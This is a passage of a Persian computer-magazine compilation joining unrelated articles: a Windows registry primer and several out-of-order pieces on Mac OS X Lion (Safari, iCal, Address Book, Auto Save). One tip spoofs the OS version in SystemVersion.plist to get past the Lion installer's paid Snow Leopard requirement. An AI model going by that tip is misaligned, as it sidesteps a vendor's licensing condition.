می‌تواند باعث پخش شدن فایل‌ها در سراسر هارد کاربر شود. مایکروسافت قصد داشت با استفاده از رجیستری ارتباطی منطقی در پیکربندی سیستم برقرار کند و این آشفتگی فایل‌های INI را از بین ببرد. رجیستری در اصل یک پایگاه داده بزرگ است (ذخیره‌شده در فولدر /Windows/System32/config) که به‌طور کلی تنظیمات مربوط به خود ویندوز و همچنین هر سخت‌افزار و نرم‌افزاری را که نصب شده‌است، ذخیره می‌کند و بخشی یکپارچه از عملیات ویندوز است. زمانی که از طریق کنترل‌پانل تغییری در تنظیمات داده می‌شود یا تغییری در گزینه‌ها و تنظیمات یک برنامه اعمال می‌شود، این تغییرات در رجیستری به ثبت می‌رسند. در نتیجه، اغلب اوقات دلیلی برای کاوش و جست‌و‌جو در رجیستری وجود ندارد و استفاده از ویندوز راه بسیار راحت‌تری برای تغییر و دستکاری تنظیمات است. اما با یادگیری چگونگی کارکرد رجیستری می‌توان کنترل بیشتری روی کامپیوتر داشت و به تنظیمات مخفی دسترسی پیدا کرد. قبل از شروع هر کاری، شاید بهتر باشد به این موضوع بپردازیم که ویندوز دقیقاً چگونه از رجیستری استفاده می‌کند. اول از همه بهتر است در نظر داشته باشیم که رجیستری یک فایل ایستا نیست، تمام مدتی که ویندوز در حال اجرا است، پردازش‌ها، سرویس‌ها و برنامه‌های ویندوز به‌طور مداوم در حال ارسال پرس‌و‌جو و تغییردادن مدخل‌های موجود در رجیستری هستند. اگر شما یک ابزار نظارت بر رجیستری را دانلود و اجرا کنید (مانند ابزار رایگان مایکروسافت، Regmon، در آدرس [Hidden Content])، خواهید توانست به‌صورت بی‌درنگ ببینید که چه بر سر رجیستری می‌آید و ایــن‌که بـــه‌طرز شگفـت‌انگیــــزی پرمشغله است. يک راه حل جايگزين اگر از ویندوز 98 یا اکس‌پی استفاده می‌کنید، یک ابزار کارآمد به‌نام TweakUI در دسترس است. این ابزار امکان تغییر را در تنظیماتی فراهم می‌کند که در حالت عادی فقط از طریق ویرایش رجیستری امکان‌پذير هستند، یعنی کاری که هر کسی به انجام آن تمايلي ندارد. این برنامه از سایت مایکروسافت قابل دانلود است. در حال حاضر، نسخه مایکروسافتی سازگار با ویستا وجود ندارد، اما گزینه‌های جایگزینی وجود دارند. یکی از این گزینه‌ها Winbubble است؛ یک ابزار رایگان که می‌توانید آن را از آدرس www.tinyurl.com/378hsc دانلود کنید. این ابزار به نصب نیازی ندارد. فقط کافی است آن را Extract کنید و فایل Winbubbles.exe را از فولدر مربوط اجرا کنید. کارهای مختلفی از طریق تب‌های مختلف این برنامه قابل انجام است، از جمله اضافه‌کردن گزینه‌های مختلف به منوی Context که ‌هنگام راست‌کلیک روی فایل‌ها و فولدرها ظاهر می‌شود، سفارشی‌سازی آیکون‌های فولدرها و درایوها و غیرفعال‌کردن ویژگی‌هایی مانند Aero. گزینه دیگر استفاده از نسخه رایگان برنامه TweakVI است (به‌آدرس www.tota;idea.com/product.php?product=tweakVI مراجعه کنيد). نسخه رایگان Basic آن در مقابل نسخه Pro و Premium محدودیت‌هایی دارد. شكل 1- الف) شاید رجیستری در نظر اول پیچیده به‌نظر آید، اما ساختاري منطقی دارد، بنابراین می‌توانید به‌راحتی به مدخل‌های مورد نظر خود دسترسی داشته باشید.ب) شما می‌توانید با اکسپورت‌کردن کلیدها و شاخه‌های رجیستری به‌صورت فایل‌های reg. از آن‌ها پشتیبان تهیه کنید، اما برای پشتیبان‌گیری از کل رجیستری باید از یک ابزار مستقل مانند Erunt استفاده کنید. قبل از آغاز قبل از ادامه، بهتر است بدانید که در موارد جدی، تغییر نادرست رجیستری می‌تواند به ویندوز شما آسیب بزند. تغییر تصادفی تنظیمات می‌تواند سیستم شما را از کار بیاندازد. بنابراین، از وجود یک نسخه پشتیبان کامل اطمینان حاصل کنید تا اگر اتفاق ناخوشايندي افتاد، امکان برگرداندن سیستم به حالت عادی وجود داشته باشد. قبل از ویرایش هر چیزی، یک نقطه System Restore ایجاد کرده و از داده‌های باارزش نسخه پشتیبان تهیه کنید. اگر تازه شروع کرده‌اید و نمی‌دانید چگونه از داده‌های خود نسخه پشتیبان تهیه کنید، بهتر است دست به این کار نزنید. علاوه بر این، هنگام ویرایش رجیستری هیچ چیز تحت عنوان Undo وجود ندارد و تغییرات بلافاصله اعمال می‌شوند. امکان کار کردن بی‌خطر با رجیستری وجود دارد. در ادامه به چگونگی تهیه نسخه پشتیبان از رجیستری می‌پردازیم، کاری که شاید کاربران مبتدي نیز بخواهند انجام دهند تا در مواقعی که رجیستری آسیب دید از این پشتیبان استفاده کنند. شكل 2- در صورت تمایل، Erunt می‌تواند هر بار که ویندوز بالا آمد به‌صورت خودکار از رجیستری پشتیبان بگیرد. ویرایشگر رجیستری برای آغاز به کار با رجیستری چند راه برای دسترسی به Windows Registry Editor یا Regedit وجود دارد. در تمام موارد باید با امکانات مدیر سیستم وارد ویندوز شوید. در ویندوز ویستا روی Start کلیک و کلمه Regedit را تایپ و از فهرست به نمایش درآمده مدخل مورد نظر خود را انتخاب کنید. در ویندوز اکس‌پی روی Start کلیک کنید، سپس گزینه Run را انتخاب و کلمه Regedit را تایپ و روی OK کلیک کنید. راه دیگر (برای هر کدام از این دو سیستم‌عامل) این است که کلید Windows Key+R را روی صفحه‌کلید فشار دهید و Regedit را تایپ کرده و کلید Enter را بزنید. در ویندوز ویستا ممکن است مجبور شوید در باکسUser Account Control روی Continue کلیک کنید. با باز شدن Registry Editor، شاهد شباهت آن با ويندوز‌اکسپلورر خواهید بود. اجزای مختلف رجیستری در سمت چپ نمایش داده می‌شود و مانند اکسپلورر ویندوز، باقی محتوای این اجزا یا مدخل‌ها در سمت راست نشان داده می‌شود. شكل 3- الف) چنان‌که Regmon، ابزار رایگان مایکروسافت نشان می‌دهد، رجیستری به‌طور مداوم در حال تغییر است.ب) تغيير مقدار كليدهاي موجود در رجيستري كار آساني است، اما براي برخي تغييرها ابتدا بايد يك كليد جديد ايجاد كنيد. کلید رجیستری شاید اصطلاحات و واژه‌هایی که در مباحث رجیستری وجود دارند، کمی گیج‌کننده باشند. پس بهتر است با چند واژه و اصطلاح اصلی آشنا شوید. پنج مدخل اصلی در پانل سمت چپ وجود دارد. این مدخل‌های اصلی به Hive یا کندو معروف هستند و هر کدام از آن‌ها موظف به ذخیره تنظیمات متفاوتی هستند. کندوی HKEY_CLASSES_ROOT به‌طور کلی برای ذخیره اطلاعات مربوط به نسبت‌دهی فرمت‌های مختلف (File Association) استفاده می‌شود. کندوی HKEY_CURRENT_USER تنظیمات مربوط به کاربری را که در حال حاضر در ویندوز لاگین‌کرده، در خود نگه می‌دارد. HKEY_LOCAL_MACHINE نیز اطلاعات مربوط به سخت‌افزار و نرم‌افزار نصب‌شده را نگهداری می‌کند و این تنظیمات برای همه اشتراک‌های کاربری موجود اعمال می‌شود، در حالی‌که HKEY_USERS شامل ارتباط‌هایی به بخش‌های HKEY_CURRENT_USER می‌شود. اطلاعات بسیار کمی در مدخل آخر ذخیره می‌شود که شامل ارتباط‌های موجود میان پیکربندی سیستم و اطلاعات به‌دست آمده از بخش‌های فرعی HKEY_LOCAL_MACHINE است. اگر روی علامت به‌اضافه کنار نام هر کندو کلیک کنید، آن کندو باز می‌شود و مجموعه‌ای از فولدرها به نمایش در می‌آیند که تحت عنوان کلید (Key) شناخته می‌شوند و خود می‌توانند شامل کلیدهای فرعی باشند. آیکون‌هایی که در سمت راست ظاهر می‌شوند به مقدار (Value) معروف هستند و انواع مختلفی دارند، از قبیل String، Binary، DWORD و Expandable String . بخش سمت راست به سه ستون تقسیم شده‌‌است: ستون Name، مشخص می‌کند که مقدار مربوطه با چه نامی خوانده می‌شود. ستون Type، نشان‌دهنده گونه‌ای است که به یک مقدار نسبت داده می‌شود و ستون Data، نیز تنظیماتی را که روی یک مقدار اعمال شده به نمایش می‌گذارد. بسته به گونه یک مقدار، ستون Data مربوط به آن مقدار می‌تواند حاوی یک مسیر، عدد یا کلمه باشد. همچنین، ممکن است که یک مقدار هیچ تنظیمی نداشته باشد و این مورد با نمایش عبارت value not set مشخص می‌شود. البته، این به معنای نداشتن نیاز به مقدار مذکور نیست، چنان‌که نداشتن هیچ داده‌ای می‌تواند یکی از گزینه‌ها در تنظیمات موجود باشد. شاید نرم‌افزار مربوطه این کلید رجیستری را بررسي کند و در صورتی که این مقدار داده‌ای نداشته باشد، عملکرد خاصی داشته باشد، اما در صورت واگذاری مورد خاصی به مقدار مذکور، عملکرد نرم‌افزار تغییر کند. همچنین ممکن است در صورتی که کلید مربوطه پیدا نشود، مشکلاتی پیش آید.

نگاهي به دورانی که در آن به‌ سر‌می‌بریم مشخص می‌سازد که امروز کاربران حرفه‌ای و غیرحرفه‌ای دنیای فناوری اطلاعات بیش از هر زمان دیگری در فکر دستیابی به سیستم‌عامل یا نرم‌افزاری هستند که نسبت به نسخه‌هاي گذشته يا نرم‌افزارهاي مشابه قابلیت استفاده به‌مراتب بالاتري داشته باشد. به‌عبارت دیگر، امروز نرم‌افزار‌ها و سخت‌افزارها به حدي پیشرفت کرده‌اند که دیگر کسی به‌فکر سرعت پردازنده، پهنای باند حافظه اصلی یا سرعت‌چرخش حافظه جانبی در هر‌دقیقه نیست. آخرین‌بار چه‌ زمانی به میزان بافر حافظه‌جانبی که خریده‌اید، اندیشیدید؟ انکار‌ناشدنی است که امروز، دغدغه دنیای فناوری‌اطلاعات، سیستم‌عامل یا نرم‌افزاری است که استفاده از آن سهل و ممتنع بوده و در عین حال کارایی بالایی داشته باشد. سیستم‌عامل جدید اپل موسوم به Lion، فارغ از پیشرفت‌های صورت گرفته در بحث پیاده‌سازی و مباحث فنی سطح پایین و این موضوع که آیا انتخاب این نام، پایانی برای سیستم‌عامل OS X محسوب می‌شود یا خير، ترکیبی از ایده‌های خلاقانه و کاستی‌های طراحی محسوب‌می‌شود. در کنار ويژگي‌هاي ارزشمندي مانند Mission Control، مباحث امنیتی، ارتقای Finder و بسیاری موارد دیگر که شرح آن به‌طور کامل در این مجموعه از مقاله‌ها رفت، در گوشه و کنار بیشه اپل، عطر iOS به‌مشام می‌رسد و بسته به اين‌كه چه چيزي در پس ذهن سیاست‌گذران اپل از آینده این دو سیستم‌عامل در جریان است، می‌توان آن را رخدادی نیک یا آینده‌ای تاریک تصور کرد. اشتباه نکنید! در این موضوع ‌که سیستم‌عامل iOS با تمام کمبودهای ریز و درشتش، یکی از موفق‌ترین نرم‌افزارهاي‌مديريت منابع تولید شده برای پلتفرم‌های قابل حمل است، کمترین تردیدی وجود ندارد. اما آنچه باید به آن توجه داشت اين است که این سیستم‌عامل از هیچ ساخته شده است. به این معنا که روزی از روزها، استیو جابز روی صحنه آمد و اعلام کرد، از این پس iOS سیستم‌عامل آی‌فون، آی‌پاد و آی‌پد خواهد بود. هیچ‌یک از ما تا به آن روز تصوری از این سیستم‌عامل یا هر سیستم‌عامل مشابه دیگری در ذهن نداشتیم و در نتیجه مشخصه‌های فنی و ظاهری آن به پیش‌فرض‌ها و معیارهای مقایسه سایر سیستم‌عامل‌ها تبديل شد. اما آیا این موضوع به آن معنا است که وارد‌کردن المان‌های‌طراحی یا فنی موفق iOS به سیستم‌عاملی مانند Mac OS X نیز به‌موفقیت و پیشرفت آن منجر خواهد شد؟ موضوعی که باید به آن توجه ویژه داشت آن است که کاربران سیستم‌های کامپیوتری امروزی، تصوری دقیق و ساخت‌یافته از یک سیستم‌عامل رومیزی داشته و به‌دنبال پاسخ به‌نیازها و کاربردهایی در این رده از سیستم‌ها هستند که در ابزارهایی مانند آی‌پد و آی‌فون دست‌یابی به آن‌ها امکان‌پذیر نیست. علاوه بر این، موضوعی که باید همیشه به آن توجه ویژه‌ای داشت، عادت‌های کاربران و مقاومت‌شان در برابر تغییرات است. به این معنا که کاربری که سالیان طولانی، از یک نوار پیمایش مانند آنچه گفته شد، نه فقط برای حرکت در صفحه، که برای استنباط اطلاعات دیگری مانند حجم محتوای موجود استفاده می‌کرده است، نمی‌تواند یک شبه همان رفتاری را که در نخستين برخورد با آی‌فون داشته، از خود به‌نمایش بگذارد. این تازه در حالتی است که با حذف نوار پیمایش، حداقل در حالت پیش‌فرض، یک اشتباه طراحی را در نظر نگیریم. اما از سوی دیگر، نكته‌هايي ظریف و جذاب در این بحث وجود دارد که بررسي نكردن آن‌ها، نوعی بی‌انصافی و يك‌طرفه به قاضی رفتن خواهد بود. باید اذعان کرد که اتحاد سیستم‌عامل Mac OSX و iOS، مزایایی نیز با خود به‌همراه دارد که شاید یکی از بدیهی‌ترین آن‌ها، ایجاد یک قالب و نظام مشترک برای توسعه برنامه‌های کاربردی روی اکوسیستم سخت‌افزاری اپل است. به این معنا که با دوستی بین دو برادر، توسعه‌دهندگان کافی است تنها یک‌بار برنامه‌ای را توسعه داده و در بدترین شرایط تنها برای سخت‌افزارهای مختلف آن را ترجمه کنند. بدون تردید، این همان مسیری است که مایکروسافت با ویندوز‌8 و گوگل با سیستم‌عامل ساندویچ بستنی (Ice-cream Sandwich) نیز در پیش گرفته‌‌اند و به يقين اپل نیز همین مسیر را طی خواهد کرد. شاید تنها سؤالی که در حال حاضر نمی‌توان با قطعیت پاسخی برای آن داشت، اين است که خلاقان اپل چه روشی را برای این ادغام سرنوشت‌ساز در پیش خواهند گرفت؟ و آیا باید منتظر ترفندی مانند ویندوز‌8 مایکروسافت یا انقلابي ساختاری باشیم؟ به‌هر ترتیب، نباید فراموش کرد که در حال گفت‌وگو درباره اپل هستیم. این نام در طول فعالیت خود در یک دهه گذشته موفقیت‌های فوق‌العاده‌ای کسب کرده و از یک شرکت بسیار معمولی به ثروتمند‌ترین و موفق‌ترین شرکت حوزه فناوری اطلاعات تبديل شده است. این می‌تواند در بهترین شرایط تنها یک معنا داشته باشد: اپل می‌داند چه می‌کند! در واقع می‌توان این‌گونه در‌نظر‌گرفت که بسیاری از کاستی‌های فعلی نگارش Lion به‌نوعی محک زدن سليقه‌هاي کاربران مختلف و ارائه نسخه‌ای به‌مراتب کامل‌تر و بهینه‌تر در آینده بوده است.روالی که در صنعت نرم‌افزار بسیار معمول‌بوده و حجم انبوهی از برنامه‌های کاربردی مسیر تکامل خود را با استفاده از همین روش پیموده‌ و موفقیت‌های قابل قبولی نیز کسب‌کرده‌اند. حال باید منتظر ماند و دید صاحبان کاپرتینو چه خوابی برای مک‌دوستان دیده‌اند! نصب Lion روی نسخه Leopard شاید یکی از بزرگ‌ترین مشکلات کاربران قدیمی مک، آن است که اپل برای نصب نگارش Lion، پیش‌شرط مجهز بودن سیستم کاربر به نسخهSnow Leopard را قرار داده تا به این ترتیب نگارش‌های پیش از 6/6/10 قابل به‌روزرسانی به نسخه Lion نباشند. اگرچه این محدودیت از بابت نیاز به دسترسی به فروشگاه مک برای بارگذاری سیستم‌عامل Lion به‌وجود آمده، اما آنچه حائز اهمیت است آن است که هیچ مشتاق به‌روزرسانی نباید نا‌امید شود! برای به‌روزرسانی نسخه‌های ماقبل‌تر ازSnow Leopard به نسخه Lion، چندین روش مختلف تا‌کنون معرفی شده که در ادامه به‌معرفی دو روش از میان آن‌ها خواهیم پرداخت: روش نخست و قانونی که در واقع روش مورد نظر اپل بوده و چندان جذاب محسوب نمی‌شود، شامل به‌روزرسانی سیستم‌عامل‌های موجود به Snow Leopard با پرداخت هزینه‌ای حدود 30 تا 35 دلار و سپس نصب نسخه Lion است. در روش دوم اما، با تغییری کوچک در یکی از فايل‌هاي سيستمي Leopard یا نسخه‌های قدیمي‌تر، برنامه نصاب Lion را فریب داده و این‌گونه به‌نظر می‌آید که سیستم‌عامل فعلی، نگارش 6/6/10 است. برای این‌منظور ابتدا به مسیر/System/Library/CoreServices رفته و با استفاده از یک ویرایشگر متن، فایل SystemVersion.plist را باز می‌کنیم، سپس کلید ProductVersion را جست‌وجو کرده و مقدار رشته‌ای که درست پایین آن درج شده است، مانند 10/5/8 را به 10/6/6، 10/6/7 یا 10/6/8 تغییر می‌دهیم. پس از ذخیره فایل کافی است تا سیستم را دوباره راه‌اندازی کرده و با استفاده از هر حافظه‌ای که روی آن نصاب سیستم‌عامل Lion قرار دارد، (حافظه جانبی، لوح فشرده یا فلش)، سیستم‌عامل جدید را روی دستگاه خود نصب کنید. بازگرداندن ظاهر تقویم (iCal) به شکل Snow Leopard پس از عرضه سیستم‌عامل جدید Lion، بسیاری از کاربران ظاهر جدید تقویم یا همان iCal را که با استفاده از مفهومی در طراحی واسط‌گرافیکی کاربر با نام Skeuomorphic، ایجاد طرحی نزدیک با نمونه‌های ملموس و آشنا برای مخاطب و با ظاهری چرمین طراحی و پیاده‌سازی شده بود، نپسندیدند و در نتیجه به‌دنبال بازگرداندن آن به شکل قبلي موجود درSnow Leopard بودند. حال اگر شما نیز جز این دسته از کاربران هستید، در چند گام می‌توانید طراحی نقره‌ای و آشنای گذشته را به برنامه تقویم بازگردانید. تنها به‌یاد داشته باشید، پیش از شروع کار، از تمامی اطلاعات خود یک نسخه پشتیبان تهیه کنید تا در شرایطی که فرآیند جایگزینی با موفقیت انجام نشد با مشکل مواجه نشوید.پیش از شروع لازم است تا با مرورگر به آدرس [Hidden Content] مراجعه كرده و فایل فشرده موجود در آن را روی حافظه محلی سیستم ذخیره کنید. حال کار را با بازکردن پوشه Applications آغاز کرده و با راست کلیک روی برنامه iCal، گزینهShow Package Contents را انتخاب کنید. در این مرحله به داخل پوشه Contents رفته و پوشه Resources را باز کنید. در این قسمت لازم است تا محتویات داخل پوشه بارگذاری شده، در آغاز کار را روی فایل‌های داخل پوشه Resources کپی کرده و با انتخاب گزینه Replace کار را به اتمام برسانید. حال اگر تمامی پنجره‌های برنامه تقویم را بسته و دوباره این برنامه را راه‌اندازی کنید، همان نوار نقره‌ای رنگ دلخواهتان باید ظاهر شده باشد. پایان منبع : ماهنامه شبکه

مرورگر سافاری در سال‌های اخیر هرچه مایکروسافت و مرورگر اینترنت اکسپلورر در پیشبرد اهداف و یافتن جایگاه واقعی خود ناموفق بوده‌اند، اپل و مرورگر اختصاصی‌اش، یعنی سافاری این راه را با سرعت هرچه بیشتر پیموده‌اند. نگارش جدید مرورگر سافاری در کنار پشتیبانی از انبوهی از فناوری‌های جدید مانند MathML، WOFF، CSS 3 تغییر بسیار بزرگی‌کرده و آن استفاده از موتور پردازش WebKit 2 است. استفاده از این موتور مدرن در طراحی سافاری، یک معنای بسیار دوست‌داشتنی دارد: بارگذاری هر صفحه وب در پردازشی جداگانه با مجوزهای دسترسی محدود. اگرچه این تغییر از نظر کاربران عادی تا حد زیادی پنهان خواهد بود، اما آسودگی خاطر از وجود لایه‌ای جدید از امنیت در برابر حمله‌هاي اینترنتی موضوعی نیست که در این دوران بتوان به‌سادگی از کنار آن عبور کرد. ضمن آن‌که با تخصیص پردازش‌های جداگانه به صفحات مختلف، ایجاد اختلال در یک زیرپردازه به تعلیق یا شکست کل پردازش منجر نشده و کاربر قادر خواهد بود با بستن زیرپردازه مذکور به‌کار خود ادامه دهد. از قابلیت بزرگ‌نمایی مرورگر به وضعیت تمام صفحه و امکان بزرگ‌نمایی با حرکات لمسی که بگذریم، استفاده از قالب Popover در پنجره دانلود كه از نو طراحي شده است، این بخش از سافاری را دوباره شبیه سیستم‌عامل iOS کرده است. البته، باید به این موضوع توجه داشت که این پنجره اطلاعاتی، در تمامی برنامه‌های کاربردی Lion کنترلی استاندارد بوده و در بخش Spotlight يا توضیحات مربوط به برنامه‌های دیگر نیز مورد استفاده قرار گرفته است (شكل‌‌22). شكل 22- پنجره Popover در (الف) سافاری (ب) Spotlight و (ج) برنامه‌های کاربردی، برای نمایش اطلاعات مفید و مختصر اما این تمام ماجرای سافاری جدید نیست! بسیاری از کاربرانی که ساعت‌های متمادی در روز را به گشت و گذار در اینترنت و ‌مطالعه مطالب مورد‌علاقه خود در شبکه جهانی وب می‌گذرانند، بدون شک بارها خود را در موقعیتی یافته‌اند که به ذخیره مطلب و مطالعه آن در آینده تمايل داشته‌اند. در چنین شرایطی، تا‌کنون ذخیره محلی صفحه وب، استفاده از Bookmark يا استفاده از سرویس‌هایی مانند Instapaper، تنها راه نجات از این بحران بودند. شرایطی که به‌لطف ویژگی جدید «لیست مطالعه» یا Reading List سافاری، تا حد زیادی تغییر کرده و کاربران این مرورگر به سادگی و با فشردن یک دکمه با نمای عینک در نوار بوک‌مارک، خواهند توانست صفحات وب را به فهرست مطالعه خود افزوده و در فرصت مقتضی به بررسی آن بپردازند (شكل‌23). ذکر این نکته ضروری است که صفحات افزوده شده در مرورگر سافاری با مرورگر iOS نگارش 5 (Sync) همگام شده و در نتیجه می‌توان روی هر دستگاه و در هر زمان به آن دسترسی داشت. ویژگی که بدون تردید دست اپل را برای رقابت با سرویس‌های اینترنتی مشابه پُرتر خواهد کرد. شكل 23 - نمایی از «لیست مطالعه» یا Reading List تقویم و دفترچه تلفن در طراحی رابط بصري کاربر اپل، سنگ بنایی وجود دارد که توسط بروس توگنازینی، پدر رابط کاربری محصولات این شرکت نهاده‌شده است. توگنازيني معتقد بود، کاربران سیستم‌های کاربری، قدرت فوق‌العاده‌ای در برقراری ارتباط با رابط‌هاي جدید در کاربردهای ملموس و آشنا داشته و به‌سادگی تغییرات جزئی را می‌پذیرند. این تفکر بارها در طراحی بخش‌های مختلف رابط‌کاربری Mac OS X به‌کار گرفته شده؛ کافی است به سیر تحول Dock نگاهي بياندازيد كه در بسیاری از موارد نتیجه مناسبی نیز به دنبال داشته است. اما واقعیت آن است که به‌نظر‌می‌آید، در به‌کارگیری این مفهوم در دو برنامه تقویم (iCal) و دفترچه تلفن(Address Book) تا حدی زیاده‌روی شده و نوع تغییرات صورت گرفته در این دو برنامه، بسیار فراتر از آن‌چیزی است که کاربران بتوانند به‌سادگی با آن ارتباط برقرار کنند (شكل 24 و25). این دقیقاً همان بازخوردی بود که در نخستين روزهای عرضه نسخه آزمایشی Lion از جانب توسعه‌دهندگان به طراحان اپل داده شد. از مباحث سلیقه‌ای مانند زیبایی و نازیبایی این برنامه‌ها که بگذریم، بحث اصلی بر سر قابلیت استفاده خواهد بود. برنامه تقویم که گویی در ابتدا برای محصولات مجهز به iOS طراحی شده و سپس سر از Lion در‌آورده است، به‌هیچ عنوان نه از نظر ظاهر و نه از جنبه کارکرد، یادآور تقویم‌های واقعی نیست. موضوعی که طراحان اپل روی آن تأکید زیادی داشته و سعی دارند تا تجربه کارکردن با برنامه‌های کاربردی را تا حد ممکن به تعامل انسان با اشیای موجود در محیط پیرامون نزدیک‌کنند. به عنوان مثال، در تعویض یک ماه، صفحه تقویم مانند یک کاغذ پاره شده و حتی رد‌کاغذ‌ها در قسمت فوقانی باقی می‌ماند. اما سؤال اینجا است که آیا این فرآیند با ماوس (جایگزینی برای دست در کامپیوتر) انجام می‌شود؟ پاسخ منفی است: لطفاً از میانبر صفحه کلید يا دکمه جهت‌نما استفاده کنید. آیا می‌توانید روی روزهای گذشته خط بزنید؟ در میان صفحات تقویم به گشت و‌گذار بپردازید؟ یا در حاشیه‌های تقویم یادداشتی بنویسید؟ پاسخ همه این سؤالات هم منفی است. شكل 24 - نمایی از طرح چرمی برنامه تقویم اوضاع در دفترچه تلفن جدید، نیز دست کمی از تقویم نداشته و مشکلات مشابهی در بحث‌قابلیت استفاده و شباهت با نوع فیزیکی آن وجود دارد. امکان ورق زدن دفترچه با نشانگر وجود نداشته، کلیک روی نوار قرمزرنگ به‌جای حرکت نوار با نمایش گروه‌ها همراه بوده (انتظارش را داشتید؟) و به‌دلیل شباهت بی‌اندازه با نوع فیزیکی امکان نمایش سه‌ستون همزمان وجود نخواهد داشت. البته، نمی‌توان منکر این موضوع شد که به‌هر حال، بسیاری از کاربران و مشتاقان محصولات اپل، از این نوع طراحی استقبال‌کرده و آن را انقلابی در این حوزه خواهند خواند. اگرچه زیبایی و خلاقیت در تولید و ساخت نرم‌افزار از اصلی‌ترین پارامترهای موفقیت به‌شمار می‌آیند، اما باید به این موضوع توجه داشت که کاربران استفاده از یک برنامه زشت و معمولی با قابلیت استفاده بالا را به یک برنامه خوش ظاهر و پر‌از ایده‌های‌جذاب، با قابلیت استفاده پایین ترجیح داده و به‌سادگی برنامه با مشخصات اخیر را به‌کناری خواهند‌گذاشت. به‌عبارت دیگر، در قرن بيست‌و‌يكم و زمانی که سیستم‌های کامپیوتری با زندگی مردم دنیا عجين شده‌اند، ضرورتی در استفاده از المان‌های نمونه‌های واقعی برای درک بهتر یک برنامه کاربردی وجود ندارد، بلکه باید تا جای ممکن برنامه را ساده، کاربردی و با قابلیت استفاده بالا طراحی کرد تا مورد استقبال کاربران قرار گیرد.

1- مدیریت اسناد؛ از ذخیره‌سازی خودکار تا نسخه‌های رؤیایی نحوه تعامل میان کاربران، برنامه‌های کاربردی و اسناد از زمان ظهور نخستين کامپیوترهای شخصی در اوایل دهه 80 تا به امروز تغییر چندانی‌نکرده است. اگرچه اپل در سال 1990 با عرضه ابزارهایی مانند OpenDoc تلاش كرد تا تغییراتی در این زمینه ایجاد کند، اما حضور شرکت‌های بزرگی مانند ادوبی و مایکروسافت به‌همراه محصولات چشم‌گیر و مملو از ویژگی‌های کاربردی، شرکت نوپای استيو‌جابز را از دستیابی به موفقیتی قابل‌اعتنا در این حوزه بازداشت. دوام این رویکرد و عدم تلاش برای ارائه راهکارهایی برای مشکلاتی نظیر از دست رفتن ساعت‌ها تایپ بدون ذخیره‌سازی در زمان، از كار افتادن برنامه‌کاربردی، رونویسی تصادفی و غیرعمدی سندي به‌جای ایجاد نسخه‌ای جدید و اضافه و کم‌کردن اطلاعات به آن، انتخاب گزینه «ذخیره نکن» برای سندي با تغییرات ارزشمند در زمان بستن همزمان تمامی برنامه‌ها یا خروج از سیستم یا مثلاً فراموشی نام یا محل ذخیره‌سازی یک سند، بروز چالشی جدی را به‌همراه داشته که در برخی مواقع و البته بدبینانه‌ترین شرایط، به اخراج کارمندی از محل کار، اخراج دانش‌آموزی از مدرسه یا از دست دادن حجم انبوهی از زمان کاربران منجر شده است. در این شرایط، بديهي است که مشکلات مذكور ارتباط‌چندانی به‌میزان آموزش استفاده از سیستم‌های کامپیوتری نداشته و در تمامی نسل‌ها و سطوح مختلف کاربری، از پدربزرگ‌ها و مادربزرگ‌ها گرفته تا کاربران حرفه‌ای، به‌وفور یافت می‌شود. با کمی تأمل به‌یاد خواهید آورد كه شما نیز بدون شک طعم تلخ از دست رفتن حاصل ساعت‌ها تلاش را در اشتباهاتی مضحک هنگام ساختن، بازکردن یا ذخیره اسناد، بارها تجربه کرده‌اید. شرایطی که البته قرار نیست، ادامه یابد! طراحان Lion، برای پاسخ‌گویی به همین مشکلات، مجموعه‌ای از واسط‌های برنامه‌نويسي نرم‌افزار با API را در قالب چارچوب کاری File Coordination فراهم‌آورده‌ و در اختیار توسعه‌دهندگان قرار داده‌اند که استفاده درست از آن‌ها در نرم‌افزارها، مزایای به‌غایت دوست‌داشتنی و نجات‌بخشی را به‌همراه خواهد‌داشت. مزایایی که از جمله مهم‌ترین آن‌ها می‌توان به ذخیره‌سازی خودکار اسناد و نسخه‌سازی از اسناد در طول حیات آن‌ها اشاره کرد. اگرچه نسخه‌های پیشین سیستم‌عامل مک نیز از نوعی ذخیره‌سازی خودکار پشتیبانی‌می‌کرده‌اند (نرم‌افزار نسخه‌ای جدید از سند مورد ویرایش با پسوند Autosaved می‌ساخت) اما نگارش جدید با پیشرفتي كه نسبت به روش‌های پیشین داشته، به‌جای ایجاد فایلی جداگانه در کنار فایل اصلی، تمامی تغییرات را روی سند در حال تغییر ذخیره می‌کند. این ذخیره‌سازی در مقاطع زمانی خاص به رویدادهای گوناگونی وابسته بوده که از آن‌جمله می‌توان به ایجاد تغییرات گسترده، زمان بیکاری طولانی یا دسترسی برنامه دیگری به محتوای سند، مانند دسترسي مرورگر در زمان پیوست کردن یک فایل، اشاره کرد. اگرچه این ویژگی‌ها می‌توانند منجی بسیاری از لحظات تلخ‌زندگی دیجیتالی ما باشند، اما عدم کنترل روی زمان ذخیره یک سند و ثبت تغییرات، خود می‌تواند مشکلات فراوانی را به‌همراه داشته باشد. فرض کنید که در حال ویرایش متنی هستید و به ناگاه بخش بزرگی از محتوای آن را حذف‌می‌کنید و پیش از آن‌که به‌خود بیایید، برنامه سند را ذخیره می‌کند؛ با این سناریو، بازهم ذخیره‌سازی خودکار را ویژگی خوبی خواهید دانست؟ واقعیت آن است که تمامی تغییرات در اسناد، به‌صورت آنی و لحظه‌ای ذخیره نشده و از آن مهم‌تر، هیچ‌یک از تغییرات ایجاد شده، تا زمان فشردن S+⌘ تثبیت نخواهند شد (شكل‌13)؛ میانبری قدیمی برای ذخیره یک فایل، که در نگارش جدید سیستم‌عامل مک، رنگ و بوی دیگری به‌خود گرفته و سردمدار ویژگی جدیدی با نام «نسخه‌سازی» شده است. به طور كلي، این قابلیت کاربر را از ساختن و نگه‌داری نسخه‌های جداگانه از یک سند برای حفظ سابقه تغییرات صورت‌ گرفته روی آن بی‌نیاز كرده و مدیریت این فرآیند گاه سرگیجه‌آور را به‌عهده می‌گیرد. شكل 13- منوی ذخیره‌سازی یک مستند در قالب یک نسخه جدید. در حقیقت، در نگارش Lion هرگاه یک برنامه کاربردی بخواهد با استفاده از قابلیت ذخیره‌سازی خودکار، یک سند را به‌روزرسانی‌کند، ابتدا یک کپی از آن به‌عنوان نسخه‌قدیمی‌تر تهیه کرده، سپس سند را با داده‌های جدید رونویسی می‌کند. حال هر زمان که کاربر به مرور یا استفاده از نگارش‌های پیشین یک سند نياز داشته باشد، کافی است روی گزینه “Browse All Versions…”، در منوی فوقانی برنامه کلیک کرده و در محیطی مشابه با Time Machine به تمامی نسخه‌های ثبت‌شده از آن سند چه به صورت محلی و چه روی حافظه‌های جانبی مانند Time Capsule اپل، دست یابد 